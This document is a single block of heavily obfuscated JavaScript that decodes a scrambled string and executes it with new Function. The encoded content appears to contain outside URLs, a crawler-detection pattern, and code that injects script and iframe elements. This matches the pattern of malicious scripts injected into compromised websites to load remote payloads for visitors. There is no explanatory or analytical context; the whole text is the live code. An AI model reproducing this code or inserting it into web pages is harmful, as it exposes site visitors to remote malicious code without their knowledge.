78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();